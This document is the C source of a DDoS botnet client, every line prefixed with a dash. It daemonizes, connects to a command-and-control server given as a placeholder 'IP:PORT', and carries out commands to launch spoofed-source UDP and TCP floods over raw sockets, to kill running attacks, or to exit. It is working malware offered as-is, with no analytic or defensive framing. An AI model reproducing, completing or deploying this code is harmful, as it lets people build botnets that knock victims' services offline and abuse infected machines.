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- #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
- #define PAD_RIGHT 1
- #define PAD_ZERO 2
- #define PRINT_BUF_LEN 12
- #include <stdlib.h>
- #include <stdarg.h>
- #include <stdio.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <signal.h>
- #include <strings.h>
- #include <string.h>
- #include <sys/utsname.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <netinet/tcp.h>
- #include <sys/wait.h>
- #include <sys/ioctl.h>
- #include <net/if.h>
- unsigned char *commServer[] =
- {
- "IP:PORT"
- };
- int initConnection();
- void makeRandomStr(unsigned char *buf, int length);
- int sockprintf(int sock, char *formatStr, ...);
- char *inet_ntoa(struct in_addr in);
- int mainCommSock = 0, currentServer = -1, gotIP = 0;
- uint32_t *pids;
- uint64_t numpids = 0;
- struct in_addr ourIP;
- unsigned char macAddress[6] = {0};
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (uint32_t)(t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- void trim(char *str)
- {
- int i;
- int begin = 0;
- int end = strlen(str) - 1;
- while (isspace(str[begin])) begin++;
- while ((end >= begin) && isspace(str[end])) end--;
- for (i = begin; i <= end; i++) str[i - begin] = str[i];
- str[i - begin] = '\0';
- }
- static void printchar(unsigned char **str, int c)
- {
- if (str) {
- **str = c;
- ++(*str);
- }
- else (void)write(1, &c, 1);
- }
- static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
- {
- register int pc = 0, padchar = ' ';
- if (width > 0) {
- register int len = 0;
- register const unsigned char *ptr;
- for (ptr = string; *ptr; ++ptr) ++len;
- if (len >= width) width = 0;
- else width -= len;
- if (pad & PAD_ZERO) padchar = '0';
- }
- if (!(pad & PAD_RIGHT)) {
- for ( ; width > 0; --width) {
- printchar (out, padchar);
- ++pc;
- }
- }
- for ( ; *string ; ++string) {
- printchar (out, *string);
- ++pc;
- }
- for ( ; width > 0; --width) {
- printchar (out, padchar);
- ++pc;
- }
- return pc;
- }
- static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
- {
- unsigned char print_buf[PRINT_BUF_LEN];
- register unsigned char *s;
- register int t, neg = 0, pc = 0;
- register unsigned int u = i;
- if (i == 0) {
- print_buf[0] = '0';
- print_buf[1] = '\0';
- return prints (out, print_buf, width, pad);
- }
- if (sg && b == 10 && i < 0) {
- neg = 1;
- u = -i;
- }
- s = print_buf + PRINT_BUF_LEN-1;
- *s = '\0';
- while (u) {
- t = u % b;
- if( t >= 10 )
- t += letbase - '0' - 10;
- *--s = t + '0';
- u /= b;
- }
- if (neg) {
- if( width && (pad & PAD_ZERO) ) {
- printchar (out, '-');
- ++pc;
- --width;
- }
- else {
- *--s = '-';
- }
- }
- return pc + prints (out, s, width, pad);
- }
- static int print(unsigned char **out, const unsigned char *format, va_list args )
- {
- register int width, pad;
- register int pc = 0;
- unsigned char scr[2];
- for (; *format != 0; ++format) {
- if (*format == '%') {
- ++format;
- width = pad = 0;
- if (*format == '\0') break;
- if (*format == '%') goto out;
- if (*format == '-') {
- ++format;
- pad = PAD_RIGHT;
- }
- while (*format == '0') {
- ++format;
- pad |= PAD_ZERO;
- }
- for ( ; *format >= '0' && *format <= '9'; ++format) {
- width *= 10;
- width += *format - '0';
- }
- if( *format == 's' ) {
- register char *s = (char *)va_arg( args, int );
- pc += prints (out, s?s:"(null)", width, pad);
- continue;
- }
- if( *format == 'd' ) {
- pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
- continue;
- }
- if( *format == 'x' ) {
- pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
- continue;
- }
- if( *format == 'X' ) {
- pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
- continue;
- }
- if( *format == 'u' ) {
- pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
- continue;
- }
- if( *format == 'c' ) {
- scr[0] = (unsigned char)va_arg( args, int );
- scr[1] = '\0';
- pc += prints (out, scr, width, pad);
- continue;
- }
- }
- else {
- out:
- printchar (out, *format);
- ++pc;
- }
- }
- if (out) **out = '\0';
- va_end( args );
- return pc;
- }
- int listFork()
- {
- uint32_t parent, *newpids, i;
- parent = fork();
- if (parent <= 0) return parent;
- numpids++;
- newpids = (uint32_t*)malloc((numpids + 1) * 4);
- for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
- newpids[numpids - 1] = parent;
- free(pids);
- pids = newpids;
- return parent;
- }
- int zprintf(const unsigned char *format, ...)
- {
- va_list args;
- va_start( args, format );
- return print( 0, format, args );
- }
- int szprintf(unsigned char *out, const unsigned char *format, ...)
- {
- va_list args;
- va_start( args, format );
- return print( &out, format, args );
- }
- int sockprintf(int sock, char *formatStr, ...)
- {
- unsigned char *textBuffer = malloc(2048);
- memset(textBuffer, 0, 2048);
- char *orig = textBuffer;
- va_list args;
- va_start(args, formatStr);
- print(&textBuffer, formatStr, args);
- va_end(args);
- orig[strlen(orig)] = '\n';
- zprintf("buf: %s\n", orig);
- int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
- free(orig);
- return q;
- }
- unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
- {
- int got = 1, total = 0;
- while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
- return got == 0 ? NULL : buffer;
- }
- static const long hextable[] = {
- [0 ... 255] = -1,
- ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
- ['A'] = 10, 11, 12, 13, 14, 15,
- ['a'] = 10, 11, 12, 13, 14, 15
- };
- long parseHex(unsigned char *hex)
- {
- long ret = 0;
- while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
- return ret;
- }
- int wildString(const unsigned char* pattern, const unsigned char* string) {
- switch(*pattern)
- {
- case '\0': return *string;
- case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
- case '?': return !(*string && !wildString(pattern+1, string+1));
- default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
- }
- }
- int getHost(unsigned char *toGet, struct in_addr *i)
- {
- struct hostent *h;
- if((i->s_addr = inet_addr(toGet)) == -1) return 1;
- return 0;
- }
- void uppercase(unsigned char *str)
- {
- while(*str) { *str = toupper(*str); str++; }
- }
- void makeRandomStr(unsigned char *buf, int length)
- {
- int i = 0;
- for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
- }
- int recvLine(int socket, unsigned char *buf, int bufsize)
- {
- memset(buf, 0, bufsize);
- fd_set myset;
- struct timeval tv;
- tv.tv_sec = 30;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(socket, &myset);
- int selectRtn, retryCount;
- if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
- while(retryCount < 10)
- {
- sockprintf(mainCommSock, "PING");
- tv.tv_sec = 30;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(socket, &myset);
- if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
- retryCount++;
- continue;
- }
- break;
- }
- }
- unsigned char tmpchr;
- unsigned char *cp;
- int count = 0;
- cp = buf;
- while(bufsize-- > 1)
- {
- if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
- *cp = 0x00;
- return -1;
- }
- *cp++ = tmpchr;
- if(tmpchr == '\n') break;
- count++;
- }
- *cp = 0x00;
- zprintf("recv: %s\n", cp);
- return count;
- }
- int connectTimeout(int fd, char *host, int port, int timeout)
- {
- struct sockaddr_in dest_addr;
- fd_set myset;
- struct timeval tv;
- socklen_t lon;
- int valopt;
- long arg = fcntl(fd, F_GETFL, NULL);
- arg |= O_NONBLOCK;
- fcntl(fd, F_SETFL, arg);
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(port);
- if(getHost(host, &dest_addr.sin_addr)) return 0;
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- if (res < 0) {
- if (errno == EINPROGRESS) {
- tv.tv_sec = timeout;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(fd, &myset);
- if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
- lon = sizeof(int);
- getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
- if (valopt) return 0;
- }
- else return 0;
- }
- else return 0;
- }
- arg = fcntl(fd, F_GETFL, NULL);
- arg &= (~O_NONBLOCK);
- fcntl(fd, F_SETFL, arg);
- return 1;
- }
- in_addr_t getRandomIP(in_addr_t netmask)
- {
- in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
- return tmp ^ ( rand_cmwc() & ~netmask);
- }
- unsigned short csum (unsigned short *buf, int count)
- {
- register uint64_t sum = 0;
- while( count > 1 ) { sum += *buf++; count -= 2; }
- if(count > 0) { sum += *(unsigned char *)buf; }
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (uint16_t)(~sum);
- }
- unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
- {
- struct tcp_pseudo
- {
- unsigned long src_addr;
- unsigned long dst_addr;
- unsigned char zero;
- unsigned char proto;
- unsigned short length;
- } pseudohead;
- unsigned short total_len = iph->tot_len;
- pseudohead.src_addr=iph->saddr;
- pseudohead.dst_addr=iph->daddr;
- pseudohead.zero=0;
- pseudohead.proto=IPPROTO_TCP;
- pseudohead.length=htons(sizeof(struct tcphdr));
- int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
- unsigned short *tcp = malloc(totaltcp_len);
- memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
- memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
- unsigned short output = csum(tcp,totaltcp_len);
- free(tcp);
- return output;
- }
- void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
- {
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + packetSize;
- iph->id = rand_cmwc();
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = protocol;
- iph->check = 0;
- iph->saddr = source;
- iph->daddr = dest;
- }
- void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
- {
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- if(port == 0) dest_addr.sin_port = rand_cmwc();
- else dest_addr.sin_port = htons(port);
- if(getHost(target, &dest_addr.sin_addr)) return;
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- register unsigned int pollRegister;
- pollRegister = pollinterval;
- if(spoofit == 32)
- {
- int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(!sockfd)
- {
- return;
- }
- unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
- if(buf == NULL) return;
- memset(buf, 0, packetsize + 1);
- makeRandomStr(buf, packetsize);
- int end = time(NULL) + timeEnd;
- register unsigned int i = 0;
- while(1)
- {
- sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- if(i == pollRegister)
- {
- if(port == 0) dest_addr.sin_port = rand_cmwc();
- if(time(NULL) > end) break;
- i = 0;
- continue;
- }
- i++;
- }
- } else {
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
- if(!sockfd)
- {
- return;
- }
- int tmp = 1;
- if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
- {
- return;
- }
- int counter = 50;
- while(counter--)
- {
- srand(time(NULL) ^ rand_cmwc());
- init_rand(rand());
- }
- in_addr_t netmask;
- if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
- else netmask = ( ~((1 << (32 - spoofit)) - 1) );
- unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
- struct iphdr *iph = (struct iphdr *)packet;
- struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
- makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
- udph->len = htons(sizeof(struct udphdr) + packetsize);
- udph->source = rand_cmwc();
- udph->dest = (port == 0 ? rand_cmwc() : htons(port));
- udph->check = 0;
- makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- int end = time(NULL) + timeEnd;
- register unsigned int i = 0;
- while(1)
- {
- sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- udph->source = rand_cmwc();
- udph->dest = (port == 0 ? rand_cmwc() : htons(port));
- iph->id = rand_cmwc();
- iph->saddr = htonl( getRandomIP(netmask) );
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- if(i == pollRegister)
- {
- if(time(NULL) > end) break;
- i = 0;
- continue;
- }
- i++;
- }
- }
- }
- void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
- {
- register unsigned int pollRegister;
- pollRegister = pollinterval;
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- if(port == 0) dest_addr.sin_port = rand_cmwc();
- else dest_addr.sin_port = htons(port);
- if(getHost(target, &dest_addr.sin_addr)) return;
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
- if(!sockfd)
- {
- return;
- }
- int tmp = 1;
- if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
- {
- return;
- }
- in_addr_t netmask;
- if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
- else netmask = ( ~((1 << (32 - spoofit)) - 1) );
- unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
- struct iphdr *iph = (struct iphdr *)packet;
- struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
- makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
- tcph->source = rand_cmwc();
- tcph->seq = rand_cmwc();
- tcph->ack_seq = 0;
- tcph->doff = 5;
- if(!strcmp(flags, "all"))
- {
- tcph->syn = 1;
- tcph->rst = 1;
- tcph->fin = 1;
- tcph->ack = 1;
- tcph->psh = 1;
- } else {
- unsigned char *pch = strtok(flags, ",");
- while(pch)
- {
- if(!strcmp(pch, "syn"))
- {
- tcph->syn = 1;
- } else if(!strcmp(pch, "rst"))
- {
- tcph->rst = 1;
- } else if(!strcmp(pch, "fin"))
- {
- tcph->fin = 1;
- } else if(!strcmp(pch, "ack"))
- {
- tcph->ack = 1;
- } else if(!strcmp(pch, "psh"))
- {
- tcph->psh = 1;
- } else {
- }
- pch = strtok(NULL, ",");
- }
- }
- tcph->window = rand_cmwc();
- tcph->check = 0;
- tcph->urg_ptr = 0;
- tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
- tcph->check = tcpcsum(iph, tcph);
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- int end = time(NULL) + timeEnd;
- register unsigned int i = 0;
- while(1)
- {
- sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- iph->saddr = htonl( getRandomIP(netmask) );
- iph->id = rand_cmwc();
- tcph->seq = rand_cmwc();
- tcph->source = rand_cmwc();
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- if(i == pollRegister)
- {
- if(time(NULL) > end) break;
- i = 0;
- continue;
- }
- i++;
- }
- }
- void processCmd(int argc, unsigned char *argv[])
- {
- if(!strcmp(argv[0], "GETLOCALIP"))
- {
- sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
- return;
- }
- if(!strcmp(argv[0], "UDP"))
- {
- if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
- {
- return;
- }
- unsigned char *ip = argv[1];
- int port = atoi(argv[2]);
- int time = atoi(argv[3]);
- int spoofed = atoi(argv[4]);
- int packetsize = atoi(argv[5]);
- int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
- if(strstr(ip, ",") != NULL)
- {
- unsigned char *hi = strtok(ip, ",");
- while(hi != NULL)
- {
- if(!listFork())
- {
- sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
- close(mainCommSock);
- _exit(0);
- }
- hi = strtok(NULL, ",");
- }
- } else {
- if (listFork()) { return; }
- sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
- close(mainCommSock);
- _exit(0);
- }
- }
- if(!strcmp(argv[0], "TCP"))
- {
- if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
- {
- return;
- }
- unsigned char *ip = argv[1];
- int port = atoi(argv[2]);
- int time = atoi(argv[3]);
- int spoofed = atoi(argv[4]);
- unsigned char *flags = argv[5];
- int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
- int psize = argc > 6 ? atoi(argv[6]) : 0;
- if(strstr(ip, ",") != NULL)
- {
- unsigned char *hi = strtok(ip, ",");
- while(hi != NULL)
- {
- if(!listFork())
- {
- sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
- close(mainCommSock);
- _exit(0);
- }
- hi = strtok(NULL, ",");
- }
- } else {
- if (listFork()) { return; }
- sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
- close(mainCommSock);
- _exit(0);
- }
- }
- if(!strcmp(argv[0], "KILLATTK"))
- {
- int killed = 0;
- unsigned long i;
- for (i = 0; i < numpids; i++) {
- if (pids[i] != 0 && pids[i] != getpid()) {
- kill(pids[i], 9);
- killed++;
- }
- }
- if(killed > 0)
- {
- } else {
- }
- }
- if(!strcmp(argv[0], "LOLNOGTFO"))
- {
- exit(0);
- }
- }
- int initConnection()
- {
- unsigned char server[512];
- memset(server, 0, 512);
- if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
- if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
- else currentServer++;
- strcpy(server, commServer[currentServer]);
- int port = 6667;
- if(strchr(server, ':') != NULL)
- {
- port = atoi(strchr(server, ':') + 1);
- *((unsigned char *)(strchr(server, ':'))) = 0x0;
- }
- mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
- if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
- return 0;
- }
- int getOurIP()
- {
- int sock = socket(AF_INET, SOCK_DGRAM, 0);
- if(sock == -1) return 0;
- struct sockaddr_in serv;
- memset(&serv, 0, sizeof(serv));
- serv.sin_family = AF_INET;
- serv.sin_addr.s_addr = inet_addr("8.8.8.8");
- serv.sin_port = htons(53);
- int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
- if(err == -1) return 0;
- struct sockaddr_in name;
- socklen_t namelen = sizeof(name);
- err = getsockname(sock, (struct sockaddr*) &name, &namelen);
- if(err == -1) return 0;
- ourIP.s_addr = name.sin_addr.s_addr;
- int cmdline = open("/proc/net/route", O_RDONLY);
- char linebuf[4096];
- while(fdgets(linebuf, 4096, cmdline) != NULL)
- {
- if(strstr(linebuf, "\t00000000\t") != NULL)
- {
- unsigned char *pos = linebuf;
- while(*pos != '\t') pos++;
- *pos = 0;
- break;
- }
- memset(linebuf, 0, 4096);
- }
- close(cmdline);
- if(*linebuf)
- {
- int i;
- struct ifreq ifr;
- strcpy(ifr.ifr_name, linebuf);
- ioctl(sock, SIOCGIFHWADDR, &ifr);
- for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
- }
- close(sock);
- }
- int main(int argc, unsigned char *argv[])
- {
- if(SERVER_LIST_SIZE <= 0) return 0;
- srand(time(NULL) ^ getpid());
- init_rand(time(NULL) ^ getpid());
- pid_t pid1;
- pid_t pid2;
- int status;
- getOurIP();
- zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
- if (pid1 = fork()) {
- waitpid(pid1, &status, 0);
- exit(0);
- } else if (!pid1) {
- if (pid2 = fork()) {
- exit(0);
- } else if (!pid2) {
- } else {
- }
- } else {
- }
- setsid();
- chdir("/");
- signal(SIGPIPE, SIG_IGN);
- while(1)
- {
- if(initConnection()) { sleep(5); continue; }
- char commBuf[4096];
- int got = 0;
- int i = 0;
- while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
- {
- for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
- unsigned int *newpids, on;
- for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
- pids[on - 1] = 0;
- numpids--;
- newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
- for (on = 0; on < numpids; on++) newpids[on] = pids[on];
- free(pids);
- pids = newpids;
- }
- commBuf[got] = 0x00;
- trim(commBuf);
- if(strstr(commBuf, "PING") == commBuf)
- {
- continue;
- }
- if(strstr(commBuf, "DUP") == commBuf) exit(0);
- unsigned char *message = commBuf;
- if(*message == '!')
- {
- unsigned char *nickMask = message + 1;
- while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
- if(*nickMask == 0x00) continue;
- *(nickMask) = 0x00;
- nickMask = message + 1;
- message = message + strlen(nickMask) + 2;
- while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
- unsigned char *command = message;
- while(*message != ' ' && *message != 0x00) message++;
- *message = 0x00;
- message++;
- unsigned char *tmpcommand = command;
- while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
- unsigned char *params[10];
- int paramsCount = 1;
- unsigned char *pch = strtok(message, " ");
- params[0] = command;
- while(pch)
- {
- if(*pch != '\n')
- {
- params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
- memset(params[paramsCount], 0, strlen(pch) + 1);
- strcpy(params[paramsCount], pch);
- paramsCount++;
- }
- pch = strtok(NULL, " ");
- }
- processCmd(paramsCount, params);
- if(paramsCount > 1)
- {
- int q = 1;
- for(q = 1; q < paramsCount; q++)
- {
- free(params[q]);
- }
- }
- }
- }
- }
- return 0;
- }
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